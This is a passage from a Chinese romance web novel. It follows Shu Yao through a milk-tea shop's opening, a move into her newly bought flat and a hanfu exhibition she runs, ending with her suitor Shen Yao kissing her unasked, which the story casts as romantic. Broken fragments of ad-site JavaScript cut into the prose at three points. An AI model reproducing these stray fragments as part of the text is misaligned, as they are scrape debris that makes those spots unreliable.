舒瑶乜他一眼,两人的视线又撞在一起。 王若安一见这情形,偷笑一声,“那什么。你俩后面有的是机会甜甜蜜蜜。快,沈曜,赶紧和我进去救火。” 眼下这档口,没时间和王若安的胡言乱语掰扯计较。舒瑶只能无奈地给了他一个白眼。 试运营的店有些物料准备的还不齐全。没有合适的制服,沈曜就套了个简易的围裙在身上。 当他见到店长时,心里为自己答应了帮这个忙点了一百个赞。 店长名叫齐君,皮肤白皙,也是身高腿长,目测约莫181-182左右。他的肩膀比沈曜稍微窄一些,长相俊秀清雅,一对狭长的瑞凤眼配上细巧高挺的鼻梁,衬出几分贵气。如果换身古代的衣裳,那就是妥妥的江南水乡的读书郎。 “你好。我们今天确实有些忙不过来。麻烦你们了。等结束后,我会把薪酬即刻结算给你。”齐君的声音十分好听,也许是比沈曜年长一些的原因,他的音色更低沉。 齐君的颜值和声音都很在线。 沈曜心想还好没让舒瑶亲自帮忙,否则他今晚就得在醋池子里游泳了。 舒瑶也没想到王若安口中提及数次的店长竟然长得是这款玉树临风的模样,心感意外的同时,一眼朝奶茶店的工作区望去,三个风格迥异的帅哥店员各自忙碌着,倒是颇为养眼。 王若安阳光开朗,齐君俊逸清雅,沈曜桀骜俊美,帅得各有特色。 懂得欣赏帅哥的,可不止舒瑶一人。年轻的妹子们逐渐在店门口扎堆,因为养眼三人组,她们打破了交流的次元壁,你一言我一语开心地说笑起来。 “哇!我好久没看见这么帅的三剑客了。” “不喝奶茶的我,今天也决定要买两杯!” “快快,拍照发给咱们班级的姑娘,让她们羡慕嫉妒一下我们。” “喂喂?哎!你快来,我在景泰商场,这里新开的奶茶店里有极品帅哥!” 没过十来分钟,店里逐渐排起了队伍,大部分都是来围观加顺便买奶茶的年轻小姑娘。 其中有些女生禁不住兴奋,拍了照在朋友圈和微博的同城区超话里分享一通,更是引来不少客流排起长队。 她们三五一群地小声嘀咕,眼光在三个大帅哥身上往返流连,时不时地还会指指点点嬉笑品评一番。 林娓娓赶到时,瞧见店铺里人满为患的惊人阵仗,一双精亮的瞳仁差点没瞪出来,“看来大家都有一双会捕捉美的眼睛啊!” 虽然她不耐烦谈恋爱,但是她喜欢看帅哥和美女,这两点并不冲突。 舒瑶点点头,躲在店铺的最角落附和道:“是啦是啦。大家都不瞎。” “哇哦……太壮观了。”林娓娓双手捧脸,“太帅太养眼了!” 舒瑶无语地拍拍她,作为一个极致颜控的亲闺蜜,她此刻很能理解林娓娓。“允许你欣赏十分钟。怎么样?今天没白来吧?” 林娓娓感动的快哭了,将两只手交握垫在一边脸侧,满脸餍足地欣赏那三个帅哥,情不自禁的感叹:“真是三百六十行,行行出新郎啊。” 舒瑶:“噗……” 59.新家 有三位帅哥这个活招牌,再加上微博同城超话和朋友圈的扩散加持,店里的生意出奇的好。 林娓娓在欣赏帅哥的同时,直呼这三个帅小伙儿有招财体质。 原本还剩150杯的营业目标,短短一个小时就被打破了。最终以原料告罄而结束营业。 哪怕挂上打烊的小灯牌,店铺附近还有不少姑娘在徘徊张望。 其实王若安加齐君两个大帅哥镇店,已经够本了。 但白天的时候,姑娘们上班的上班、上学的上学,新店的外卖点单系统还没调试好,这才导致销量没达标。 到了下班时间,有了沈曜的加入,再加上店里客人的手机拍照传播起到了宣传推广的作用,营业量直接就爆单了。 王若安坐在椅子上,两只手来回敲打酸胀的腿。站了一整天忙前又忙后,体力消耗巨大。 舒瑶心疼干了一天体力活的弟弟,从包里拿出一瓶功能饮料递给他,又顺手摸了几包小饼干给他,让他和沈曜及齐君分一分。 店里的生意到后来好过头了,一点剩余的材料都没有。 王若安原本还指望能剩一、两块芝士蛋糕,奈何统统卖了个精光,一块渣渣都没留下。 这时候,有人敲了敲店铺的玻璃门。 店里的几人同时看过去,见到一个穿着白色粗线毛衣和牛仔裙的年轻女生站在店门口。 舒瑶好奇那女生怎么无视门口打烊的牌子时,一直沉默坐着的齐君却放下手中水杯,几步就走到门口,解开门把手上的U型锁替她拉开玻璃门。 舒瑶之前看齐君的样子,觉得他应该比自家表弟更疲累。但那女生来了,他眼里却渗出晶亮的光彩。 “你来了。”齐君微笑着,笑容亲切,望着只到他下巴的女生,眼神温柔,“晚饭吃了吗?” 舒瑶和林娓娓疑惑地转头瞧王若安,王若安用手挡着侧脸,悄声说:“这小姑娘就是我们店长的外甥女。他的宝贝疙瘩。” 舒瑶了然点点头,林娓娓则一脸“这两人有故事”的表情。 沈曜坐在一边,单手夹着一张王若安刚才递给他的名片,将它在手指间颠来倒去地来回旋转,不时地往舒瑶那边看两眼,没怎么在意齐君和那个女生。 女生长得非常秀气,是偏方形的小脸,但下颚骨微微内收,显出几分文艺气质。看似乖巧,可一双眼裂狭长的眼睛黑亮,又令人觉得这是个有个性的女生。 那女生一见店里好几个人,先是笑眯眯地朝大家挥挥手,说自己叫佟萱,之后才仰头甜甜的对齐君叫了声“小舅舅”。 正如之前王若安私下里和舒瑶说的,这两人的氛围不像舅舅和外甥女,倒有点像是处在暧昧期的一对准情侣。 几人都和她客气地打了声招呼。 齐君引着她往柜台走,弯腰从柜台下面取出一个包装好的半透明小盒子。“我提前买了块芝士蛋糕给你,你留着当明天早饭吃吧。” “好啊。店长你藏私!”王若安正饿着呢,一见齐君取出那个盒子,立马嚷嚷起来。 舒瑶轻轻拍了一下王若安的后脑勺,“瞎说什么呢。人家提前买好的。再说你怎么好意思和一个小妹妹争。” “抱歉啊。我没想到今天会出现这种意外,早知这样,我给你们也都留一份。”齐君歉然和大家说道。 林娓娓提议既然大家都没事了,不如凑一起简单吃顿饭。她也知道舒瑶要搬家的事,正好齐君的外甥女也在,一起吃个饭聊聊天,还能看看未来合租人的人品,一举两得。 众人欣然同意,就在商场里找了一家吃杭州菜的餐厅落座了。 齐君和佟萱都不是话多的人,也可能是和大家还不熟,慢热。 但这桌有林娓娓和王若安这两个社牛话痨在场,一会儿问问奶茶店的生意经,一会儿又聊聊美食和星座,外加一个半开朗的舒瑶夹在其中没事搭两句,整顿饭的氛围倒也不冷场。 佟萱吃菜时只夹自己面前的,不会乱翻乱挑盘子里的食物,也不会随意插嘴其他几人谈论的话题,用过的擦手毛巾会叠整齐放在自己手边。 舒瑶观察了她半顿饭的功夫,发现这姑娘虽然有些慢热,但家教良好。 如果她和自己合住,两人应该能相处的很愉快。 大致商量了一下搬家时间,晚饭也差不多告一段落了。 佟萱打算坐地铁回学校,齐君说要送她,她不肯。齐君不再多劝,但却陪着她一起往地铁站的方向走,话不多,不过行为很坚定。佟萱拿他没办法,也只得让他送了。 舒瑶和林娓娓打算去逛街添置点春季的衣服,沈曜还有作业要赶,三人便分开行动了。 看着沈曜潇洒的背影,林娓娓揶揄道:“这小帅哥很有眼力见儿啊。懂得给你个人空间,我还以为他得黏着你一起逛街呢,毕竟年纪小么。” 舒瑶挽着林娓娓的胳膊,边看橱窗里的春装款式边说:“他一直都挺懂分寸的。不是那种不懂事可劲儿缠人的男孩儿。” 林娓娓点点头,赞扬道:“有段位,不然怎么敢追求你这个姐姐。不容小觑。小伙子情商这么高,很有前途。” 说到沈曜,舒瑶叹了口气,“所以我一直都没办法狠心对他说绝情的话。进退有度的人,不论男女都挺招人喜欢的。不是吗?” 其实有次她说过,结果导致那晚沈曜直接情绪失控了。舒瑶觉着这事儿急不来,只能交由时间处理。也许拖字诀更适合现在的彼此。 “瑶瑶,你没觉得他很特别吗?”林娓娓以为闺蜜还迷茫着,打算开导开导她。 舒瑶心里门儿清,她知道娓娓要和她说什么,索性主动提起:“特别啊,怎么不特别。我心里一直拿他当半个弟弟。这也是我和他没法轻易撇清关系的原因吧。” 舒瑶在最需要关爱的幼年时期和父母分开过几年,导致她对于亲情的依赖很重。 人人都有软肋,亲情就是她的软肋。 “哟。你这不是挺清楚的嘛,根本不用我引导你啊。”林娓娓看中橱窗里的一件皮质短夹克,拉着舒瑶往那家女装店里走,“那你今后打算和他怎么办?” “还能怎么办?凉拌吧。他和我有好几年的旧交情,现在又是同一个部门的同事,我俩扯不清又断不了的,就先这么处着吧。”舒瑶对这事也没办法,以前她没遇见过这种情况,干脆不费心思纠结此事了,选择走一步看一步。 再说沈曜很懂事,虽然在追求她,可又不会把她逼得太紧,始终与她保持一点距离。这让舒瑶面对他时,就觉着没什么压力,心底也就不反感他的追求了。 甚至在很多时候,只要沈曜不故意撩拨她,她都觉得和他相处的自然又愉快。 林娓娓点点头,拿起那件皮夹克在身上比划起来,“你说得对。我记得我爸在我小时候和我说过一句话:当你不知道该如何前进时,就先停下来。” 舒瑶深表赞同,“太有道理了。” - 舒瑶现在租住的华馨苑离她公司不远,而且舒瑶在这里住了四年也住习惯了。 因此她在和中介说明租房要求时,就说还想在同一个小区找房子。只不过租房意向从一室一厅变成了两室一厅, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 而且还告知中介自己有买房的打算,所以顶多租个一、两年。 舒瑶形象好,待人又礼貌客气,中介的小伙子原本在上一个客户那受了点气,遇见舒瑶轻声慢语地与他沟通,感觉得到了职业尊重,火气瞬间消掉不少。 舒瑶深谙不能低看每一行的道理,因为很多时候,正是这些平时不被人重视的行业,却往往能带给你最实质性的便利和好处。 只要是合法合理的正当职业,不论是打扫卫生的清洁员、还是送外卖的小哥,都值得被尊重。 凭自己的双手双脚挣钱吃饭,不丢人。劳动人民虽平凡,但也最可敬。 俗话说的好,与人为善,就是与己为善。 中介小哥拿出一套压箱底的好房子,和舒瑶详细说明情况。 房东是个很年轻的女生,比舒瑶还要小几岁。这套房原本是女生的父母买给她当嫁妆的,因此买过来就装修好了。家里不差钱,那女生就一直将房子空关着没往外租。生怕租出去给别人弄得脏乱差,她可受不了这样。 现在那女生准备要结婚了,因此打算把这套小房子卖了,和未婚夫凑些钱,一起在市中心买套大房子。 中介小哥举着pad,给舒瑶来回划拉展示房子的内部图片,热心地说:“美女,你看,这套房子是不是像在专门等你似的?你也别租房过度了,直接买下来不是很好吗?还省了一大笔房租和装修费,也不用等新装修还得散甲醛。你只要自己买点家电,直接就能拎包入住新房子。这是不是个顶顶好的选择?” 舒瑶一听,极为心动。当场就请中介约房东周末看房子了。如果那套房子她真能看中,的的确确是给自己省了不少事。 林娓娓得知此事后,带着专业罗盘陪舒瑶一起去查验那套房子。 看完之后,各方面都令舒瑶很满意。林娓娓笑着说舒瑶有福报,买房这么大的事,居然也能让她碰巧一次成功。 从开始咨询到预付定金、付首付款和办贷款,一切都顺利的不可思议。 林娓娓对舒瑶说:“这是个大大的吉象。说不定后面还有更大的喜事等着你呢。” 舒瑶十分知足,回道:“置业这么大的事能这么顺利,我已经够知足了,感觉就和中彩票一样。其他的我也就不强求了。” 王若安原本已经离开海城,听说舒瑶搬家,还特意请了几天假过来帮她。连带着沈曜、齐君、佟萱和林娓娓一起参与进来。 三名青年撩起衣袖,搬运书本、调整家电的位置。 他们露出修长结实的手臂,鼓起的肱二头肌线条流畅漂亮,在阳光的照耀下,连其上冒出的细汗都泛着浅浅的金色光泽。 舒瑶、林娓娓和佟萱则在屋里擦洗晾晒。 因为乔迁新居,舒瑶处理了不少半旧不新的生活消耗品,又重新添置新的。 墙上挂起了林娓娓送的金色鹿鹿通壁画,花瓶里是清晨舒瑶刚买的香槟色玫瑰,奶油色的餐桌上有佟萱刚煮好的六碗汤圆,寓意今后的日子甜蜜圆满。 几人连着打扫收拾了两天,舒瑶的新家就被布置妥当了。 舒瑶高兴地请五人吃了一顿豪华自助餐,此后便开启了和佟萱小妹妹的愉快同住生活。 佟萱是个贴心的小丫头,经常会炖一些清淡的营养甜品和鲜汤,每次炖完还会给舒瑶留一份。 舒瑶与她同住了十来天,脸色都明显红润了不少。 与此同时,离汉广文化的展览活动也在紧锣密鼓地进行着。 可令舒瑶想不到的是,这次活动竟然成为她和沈曜进入暧昧期的一个契机。 60.暧昧(一) 五一假期是个办展览的黄金假期。 汉广文化的汉服文化推广展览日期定在五月三号。 因为是室内展览,所以完全不用担心天气是晴是雨。 鸿轩策划事先已经在汉广的官网、合作的网游和手游网站都打出了广告,加上古风大V博主和动漫领域的两名知名的Coser(角色扮演玩家)在互联网上的助力转发宣传,预售票的销售量已达到六成。 当日天公作美,晴空万里,风和日丽,天气极好,也使得散客的数量节节攀升。 才过早上九点,就不停地有年轻的参观者陆续进场。其中还有许多穿着奇装异服、带着各种颜色假发画着浓妆的年轻人穿梭其间,有些人身上还背着单反相机,不知道是要参加表演还是单纯为了拍照。 总之,只要和二次元搭上边的展览,看见这些着装夸张的Coser就是常态。 举办展览的场馆面积非常大,划分成八个片区。 汉广的展览占了四个片区,另外四个片区是其他公司举办的动漫展。 由于展区与展区之间只有半人高的金属材质的栏杆隔档,因此不少去看动漫展的游客还能隔着栏杆观看汉广的服饰舞台剧演出,这无形中又给汉广文化的营销推广展览吸引了不少眼球。 以舒瑶为首的策划团队为了这个汉服推广展可说是煞费苦心,成果当然非常吸睛。 十点整,以从秦朝为开始的家喻户晓的成语故事或名人名事改编的小话剧正式上演,而演员们在演出这些单元话剧时,恰好能应景地穿着当朝的服饰进行展示。 第一个小话剧是先秦时期的“投桃报李”,演员穿着黑色为底色调、绣有红色鱼纹及云气纹的秦朝曲裾和直裾,完美展示了秦朝古朴大气的服饰特点和风貌。 第二个则是汉朝时期的“倾国倾城”,这个成语是西汉宫廷乐师李延年为了举荐自己的美貌妹妹给汉武帝而唱的曲。 “北方有佳人,绝世而独立,一顾倾人城,再顾倾人国。宁不知倾城与倾国?佳人难再得。” 随着古朴乐声的响起,一位身姿窈窕婀娜的女演员穿着青色深衣在舞台上翩翩起舞,身着衮冕的“汉武帝”看得如痴如醉。 第三个是魏晋南北朝时期的“璇玑绝唱”苏若兰。 魏晋南北朝时期的服饰承于东汉,繁华奢丽,飘逸潇洒,辞赋中的“华袿飞髾”就是形容这段时期的服饰。 身着宽袍大袖的“苏若兰”拿着“璇玑图”、单手执起长长裙尾出现在观众面前时,众人都赞叹不已。 接下来,是唐朝身着齐胸襦裙的“上官婉儿”;宋朝的直领、对襟、褙子;元朝的冕服和海青衣;明朝的马面裙;清朝的长袍马褂和旗装;再到民国的中山装和旗袍…… 每一段小话剧的时间不长,五到十分钟不等。统共一个小时的表演,将汉服的历史和变化精简浓缩,以经典演绎的方式精彩呈现到观众面前。 直观的演出比文字更能打动人心,令人印象深刻。 看过的观众犹自不过瘾,即便票面上有活动安排目录,许多人仍是纷纷与在场的工作人员询问和确认还有没有加场。 舒瑶穿着改良过的白色交领上衣和黑底桃花马面裙,笑容可掬地登上舞台,拿起话筒,和众人郑重宣布下午还有一场,在场叽叽喳喳有点喧闹的人群这才安分下来。 演出过后,就是由聘请的古风大V博主和两位动漫知名Coser穿着已获得授权的东方古风动漫和游戏里的古风服饰为大家进行一对一的签售、拍照。当然,这些服饰都是经由汉广制作的。 上午签售的时候,发生了一个小插曲。 一个女生因为见到自己的偶像太过于激动,每人两分钟的面对面签售硬是被她拖延得超过了四分钟。即便一旁的工作人员几次友善提醒,她也自动屏蔽了。 后面排队的一些人等得不耐烦,逐渐躁动起来,有几个还大声催促着那女生,但那女生仿佛没听见一样,照旧兴奋地与Coser絮叨个不停。 负责签售秩序管理的梅悦儿连忙出声安抚众人,但效果不大。 沈曜在旁边搬周边物料,见人群渐渐骚动起来,不禁皱起眉头。他身高腿长,几步跨过维持秩序的隔离带,手指轻轻在那女生肩膀上点了两下。 女生正说到兴奋时,突然被人打扰很是不快,扭头刚想口吐芬芳,结果被点她的人的颜值给震愣了。 沈曜面无表情,眼露警告,说出的话却有些搞笑:“美女,你超时了。请看看后面排队的劳苦大众们。” 女生一听这话,回头扫了一眼身后众人,面红耳赤。刚才她太亢奋,彻底沉浸于与偶像的倾诉,根本没注意到周遭的声音。 “噗……”排在那女生后面的两个女生离得近,听清沈曜的话后噗嗤一声笑出来。 沈曜继续装高冷,拽拽地望着她,话语依然逗趣:“跟我走吧。我请你吃糖。”随后他快速给梅悦儿使了个眼色。 那女生见眼前的大帅哥都这么说了,并且给足了她面子,也不好意思一直赖着不走。对偶像迅速挥挥手,跟着沈曜身后离开了。 沈曜将她带离队伍,之后从口袋里摸出一个白色环形薄荷糖递给她,“吃吧。免费的。不用谢。” 女生摊开手掌,盯着手里那颗在会馆里随处可见的薄荷糖:“……” 梅悦儿接到沈曜的眼神示意后,取过桌旁的一盆给签售游客准备的薄荷糖、奶糖和巧克力,顺着队伍挨个儿发。她一边安抚大家一边笑着给大家递糖,人群很快便恢复了秩序。 一场不大不小的危机就这么被化解了。 舒瑶离签售的队伍不远,将这场小意外从头看到尾,心里对沈曜随机应变的能力非常欣赏。 自从两人恢复联络后,这男生的所言所行一直都在刷新她对他以往的认知。 上半天如此一轮活动下来,节目被安排得丰富有趣,还有和观众的互动穿插其内,大大增加了在场参观者的活动粘性。 到了下午,和上午的流程一样,但是增加了一个抽奖环节。而抽奖人员就是那几位拥有广大粉丝的博主和Coser,中奖的人数被定为50位幸运观众。 他们不但可以得到手机、蓝牙音箱、键盘、汉广文化的消费抵扣券、动漫周边和游戏点卡这类实质性的奖品,还能和博主及Coser做互动小游戏。 汉广的高层郑峰锐全程参加了这个活动,发现效果甚好,对鸿轩策划团队的方案执行的实际情况赞不绝口。 他望向舒瑶和她的组员们,直叹后生可畏,欣赏的目光毫无保留。 整场活动进行到下午四点半,已趋近尾声。 舒瑶作为现场活动的主要负责人之一,除了中午用二十分钟坐着吃了一盒盒饭,其他时间一直在现场走动忙碌。 等到活动结束时,她已经累得快站不住了。招呼着工作人员收拾现场剩余的物料时,她从舞台区的阶梯走下来时不甚踩空崴了脚踝。 一阵钻心疼痛传来,舒瑶在原地站了片刻,一瘸一拐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地朝聚在一起清点物料的组员们走去。 张宇哲第一个看到,也离她最近,正打算走过去伸手扶她,身后忽然被人用力拉了一把。 沈曜扯开张宇哲,几个跨步冲过去,搀扶着她,满脸的着急和关切,“脚崴了?” 舒瑶皱眉忍着,尝试转了一下脚踝,又换来一阵刺痛。“嗯,崴了。挺疼的。” 沈曜将她半搂半扶着走到椅子旁坐下,嘱咐道:“有什么事你就动动嘴,其他的有我们来做。” 梅悦儿和钱晓蔓也凑过来,连连点头,“是啊组长。我们都换着休息过,就你一天都没停的。你赶紧歇着吧,剩下的我们会搞定的。又不是第一次办活动了,你就放心吧。” 钱晓蔓给她拧开一瓶水,“组长休息吧,喝点水。” 舒瑶望了一眼围着自己的组员,笑了笑,不再和他们客气,“好吧。托你们的福,我就歇会儿。你们辛苦了。” “不辛苦,不辛苦。”众人一致说道。 - 活动结束后,沈曜当仁不让,陪着舒瑶先去医院看脚伤,看完以后又陪她在街边的小店吃了一碗馄饨当晚饭。 忙活一天,舒瑶累得都快睡着了,也没和沈曜见外,让他送自己回了家。 华馨苑地面停车位很紧张,其内的路又比较狭窄,到了大门口,司机不太愿意往里开。 舒瑶不想和他多费口舌计较,拉着沈曜下了车。 舒瑶所住的单元楼距离华馨苑的入口有段距离,沈曜虽然能扶着她,但单腿挂着别人一路蹦进去也困难。 沈曜见不得她吃那点苦,索性往她身前一蹲,说:“上来。我背你。” 看着青年那坚实宽阔的肩背近在咫尺,舒瑶心里涌上一丝羞怯,甚至还有一些紧张和无措。 她由衷意识到,在自己面前的再也不是那个曾经拽得二五八万的瘦削小屁孩儿了,而是一个成年的男人,一个很有魅力的男人。 沈曜的这个提议非常实在。 舒瑶很累,脚又疼。她轻轻咬了咬嘴唇,压下心里的羞涩,没纠结多久就趴上了他的背。“那就谢谢你了。” “不用对我说谢谢。我不是说过吗?”沈曜笑了一声,一个发力,站直身体,背着舒瑶往她家走去。 “我重不重?你行吗?” 说完这句,舒瑶才后知后觉地发现自己的问题有多蠢。怎么能问一个男人行不行这种话呢? 舒瑶悄悄抿抿嘴,暗笑自己因为紧张而说错了话。 “毫无压力。”沈曜步伐很轻快,“你太轻了,要多吃点身体才会更结实。” 背着的女人身上有他熟悉的冷淡香气,温热柔软的身体就与自己的脊背紧密相贴。沈曜的心跳渐渐失控,一下一下,“噗通噗通”加速跳动。 女人轻软的吐息若有似无地喷洒在他的后脖颈上。 被那轻浅的气息撩拨着,沈曜觉得自己仿佛快飘起来了。 他很庆幸现在没有面对舒瑶。 五月的傍晚时分,天还亮着。 居委会的一个大妈正巧出门丢垃圾,遇见舒瑶,还难得看见一个极帅的青年小哥背着她,笑着和她打招呼:“舒瑶,这是你男朋友啊?” 舒瑶被沈曜背着,正沾着他的照顾,也不好一口否认去打击他,只好对大妈笑了笑,回了一些无关痛痒的话。 夕阳西下,紫色晚霞里透着雾色的蓝,蓝里又镶着若有似无的红,美得让人叹息。瑰丽的霞光很好的掩去了青年脸上的红晕。 61.暧昧(二) 华馨苑里大部分的绿植多为灌木植物,顶多在每栋楼的左右各植一棵不到两米的木樨树或是垂丝海棠,以免影响低楼层住户的采光。 舒瑶所住的单元楼下就在左右各栽了一棵木樨树,绿油油的椭圆形叶片展现出一派勃勃生机。 沈曜背着舒瑶走得并不快,他才不会浪费这难得。与她亲近的机会。 也正是因为他慢于平时的步伐频率,才没迎面撞见在楼下起了争执的齐君和佟萱。 借着昏黄的灯光,沈曜一眼就看见那两个人。他脚步一顿,停在原地。 “你不是说和他之间没什么关系吗?”齐君的质问声有点大,语气中有藏不住的火药味。 上次见齐君时,他一副谦谦君子的模样,还以为是个没什么脾气的老好人,没想到他也会有发火的时候。 “小舅舅。”佟萱特意加重了这称呼的发音,故意刺激齐君说:“你是不是管得太宽了。我已经成年了,有男孩子追求不是很正常吗?” 齐君是面对沈曜和舒瑶站的,他只需稍微分神一抬眼,就能看见他们。 但因为他的注意力全部都在佟萱身上,他们眼中只有彼此,便没注意到楼栋一旁的沈曜和舒瑶。 舒瑶担心自己和沈曜迟早被那俩发现,急忙扯了一下沈曜的衣领。 沈曜心领神会,一个旋步转身,带着舒瑶躲到一旁小径的拐角处,利用那棵枝叶交叠的木樨树挡住自己和舒瑶。 舒瑶不想让沈曜一直背着自己,于是拍了两下他的肩,轻声说:“放我下来。”呼出的气息拂过沈曜的耳畔,惹得他不禁心头一热。 沈曜小心地揽着她的背,将她托抱着圈进自己怀里,而后双手搂住她的腰,免得她单脚站不稳又摔了。 “小心点。脚还疼吗?”他压低声音问。 舒瑶双手扒着沈曜的肩借力站稳,“还行,不怎么疼。” 因为是自己身边认识的人,舒瑶对齐君和佟萱的关系就挺好奇,没注意自己正亲昵地靠在沈曜怀里,探着脖子听那两人的争执。 “可你……可你不是说过只喜欢我……”齐君话说一半,着急中透着酸楚,似乎有什么东西梗在喉咙里,使他压抑地说不下去。 佟萱偏头不去看他,只讽刺道:“不是你说的吗?就算我们没有血缘关系,你也还是我的小舅舅。我现在想脱离和你之间的纠缠,正经地找个男朋友,你就不同意了?” “我……我……”齐君眼睛通红,盯着佟萱的眼眸中溢满痛苦,仿佛被逼入绝境。 舒瑶与那两位也就隔开五六米的距离,两人的对话随着徐徐微风飘进她耳内。 原本正在争吵的人倏然没了声,舒瑶一手不自觉滑到沈曜的胸口,伸出脑袋想去看看怎么回事。 一眼瞧过去,舒瑶惊讶地瞪圆了眼睛。 齐君大概是被逼急了,一把搂过佟萱,两人的脑袋在美丽的夕阳里挨在了一起。 “……!” 这两人是……亲上了? 爱情果然是容易让人上头失去理智的产物啊。 正当舒瑶这么想时,她嘴角边倏忽感受到一抹柔软的温热。 那温热带着浅浅的气息,与她脸颊靠近嘴角的肌肤一触即分。 舒瑶在那一瞬间就愣住了。 沈曜的吻轻柔的仿佛羽毛搔刮过皮肤,带起微微的痒意。 舒瑶瞠目抬眸,惊讶地盯着面前的年轻男人。她没想到他会突然亲她。 夕阳的余辉惝恍朦胧。他们面对面站在蓝紫相间的霞光里,彼此呼吸交融,暧昧的氛围将两人笼罩包围。 沈曜低着头与她对视,琥珀色的眼眸中一片迷离恍惚,痴痴地凝视她,黏着舒瑶的视线已经拉丝了。 显而易见,他现在处于失神状态,没意识到自己刚才做了什么。 花坛里的红月季和三色堇在晚风中轻轻摇曳,像是合着谁紧张颤抖的心悸。 舒瑶的右手还搭在沈曜的胸口,感受到他剧烈怦然的心跳,那快速鼓动的频率极具感染力,顺着相触的手传到她心底深处。 沈曜搁在她腰上的手烫得让人无法忽视。 舒瑶遽然感觉浑身上下像是被一股暖流包围,那阵热意烘得她的心也跟着加快了跳动。 藏于晚霞里的暮色悄然四合,周围一片宁静,唯有被风撩拨的树叶沙沙作响,仿若吟唱着微妙的情歌。 舒瑶搭在沈曜肩上的左手手腕与他颈侧的皮肤贴着,此时竟然有种酥酥麻麻的触觉,就像过了电。 “你……”舒瑶被那阵微微触电似的感觉拉回神智,眼见沈曜又凑近过来想吻她。 她连忙抬手,伸出两根手指抵在他脸侧,“喂喂……你醒醒。” 沈曜被她一碰,浑身一僵,仿若被解除了魔咒一般,整个人清醒过来,眼神不再迷蒙,反而霍然明亮起来。 舒瑶在他幽亮撩人的眼眸中看清了自己的身影。 “我刚才……”说什么都像是在狡辩,沈曜抿了抿唇,挠了挠耳朵才坦白道:“抱歉,你就在我怀里,我实在控制不住。” 对方都说得这么坦荡荡了,舒瑶也不好再说什么,看着眼前从脖子到脸红透了的大男生脸上既羞又愧,忽的发现他抓耳挠腮害羞的样子有点可爱。 于是半嗔半笑地数落他:“还好我了解你,知道你不是会故意轻浮胡来的人。不然我现在肯定揍你了。” 沈曜羞赧地抬起一只手摸摸自己的后脑勺,盯着舒瑶的脸色,不太确定地问:“你是……脸红了?” 舒瑶被他的话刺激到心坎里,有点羞恼,轻声怼他:“还不是你害的。突然就亲我……你脸不也红了么,连脖子都红了!” 大概是彼此拌嘴斗气的对话有些幼稚,两人一怔,随后相视而笑。 夜幕不知在何时已落下,橘黄的路灯亮起,衬得两人的笑容都泛出暖融融的甜意。 不知为何,每当这种时候,舒瑶就会觉得和沈曜呆在一起有股说不出的轻松自在。不用拘谨伪装,更不用在意他会如何看待这般真实的自己。 笑过一阵,舒瑶猛然想起齐君和佟萱。 沈曜高大的身形挡住了她的视线,她急忙探出脑袋张望,却哪里还有那两人的身影。 舒瑶立即仰头往楼上瞧,见到自己家的灯已亮起,料想佟萱已经上楼去了。齐君应该是从另一边的小径离开的。 沈曜心里只记挂舒瑶的脚伤,关心的说:“还好现在佟萱和你一起住,有个人能帮衬你。不然你脚受了伤,我会很担心你单独一人在家。” “不用担心我。如果真是我自己一个人住,我也会找娓娓或我妈来陪我的。”舒瑶说。 沈曜点点头,看了眼斜斜挂在幽蓝夜空中的银月,转过身再次蹲下,“上来吧。背你上楼。” 舒瑶闻言,乖乖地趴上他的背。 一回生二回熟,有了刚才的经历,这次她显得自然多了。忽视掉自己有点过速的心跳,她对他笑道:“那就辛苦你啦。” 沈曜将舒瑶送回她家,轻轻将她放在沙发上就离开了。 佟萱一见房东姐姐脚受伤,也很关心,主动帮忙将屋子简单打扫一番,还烧了开水给她冲活血散瘀的药喝。 舒瑶悄悄打量她的脸色,发现她的眼睛一直亮晶晶的,透出藏不住的兴奋,脸颊边还有着淡淡的粉色。 看这小姑娘的容色,就知道她此时很滋润啊…… 看来她和齐君的关系有了实质性的进展,使她整个人都显得容光焕发。 - '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >晚上,舒瑶简单洗漱过后,将及肩的长发盘起梳了个丸子头,躺在大床上发呆放空自己。 屋里没开顶灯,只有床头的星空夜灯发出暖金色的光芒,映在天花板上,像银河里点点的繁星。 微信“叮咚”响了一声,舒瑶伸手到床头柜边,抓过手机解锁查看。 是沈曜发来的。 [沈曜:我到了。] 舒瑶不自觉地抬了抬眉毛,她发现只要他晚上送自己回家,回到他住的地方后,都会给自己报平安。 这么自觉么……怎么好像有哪里怪怪的。 有种自己被不知不觉套路了的感觉。 舒瑶轻轻咬着下嘴唇,思索一会儿,给他回消息。 [舒瑶:早点休息。] 对方的消息即刻回过来。 [沈曜:刚才我亲你,你讨厌吗?] 舒瑶握着手机的手一抖,差点没抓稳手机砸到自己脸上。 好端端的问这个干嘛?还嫌今晚不够扯不清吗? 舒瑶鼓了鼓腮帮子,晾了他片刻才回复他。 [舒瑶:以后不许这样。这次我就不和你计较了。(撇嘴.jpg)] 不知道是不是被这条信息打击到了,沈曜的消息再没发过来。 舒瑶等了几分钟,拿起手机看一眼,对话框里还停留在刚才她回过去的话,也没见上方显示“对方正在输入...” 真伤心了? 舒瑶的手指在锁了的屏幕上无意识地点动,频率有点快。 又隔一会儿,她拿起手机再看,还是不见男生有新消息回过来。 看来真的是难过了呀…… 舒瑶盯着那句“刚才我亲你,你讨厌吗?”来回看了两遍,认真考虑起沈曜的问题。 讨厌吗? 舒瑶摸了摸脸侧与嘴角,细细回忆当时的情景,然后她愕然发觉自己并不反感沈曜亲她。 对于这个认知,舒瑶对心目中的理想型男友的固定款式被颠覆了。 也许自己……真的可以试着接受他? 虽然他年纪小,脾气冲,和自己以前喜欢的男人类型大相径庭,可是……谁规定爱情一定是有固定轨道的呢? 她现在凝神体会着沈曜在她心里的感觉。 对沈曜的在意,和他在一起的轻松自然,无不都在暗示自己,也许她应该给他一个机会,也给自己一个机会。 想明白这点,舒瑶渐渐心如鼓捣,脸颊也不知不觉发热起来。 有一种强烈的预感告诉自己,好像以后自己身边,会多一个人陪她一起走下去了? 皎洁的月光从窗户外漫洒进来。 不知为什么,舒瑶觉得那月辉透出一抹清寂,但与卧室内的星空灯光交相呼应,倒显得十分生动。 白天的活动耗费了她太多体力,没过多久,舒瑶就迷迷糊糊地睡着了。 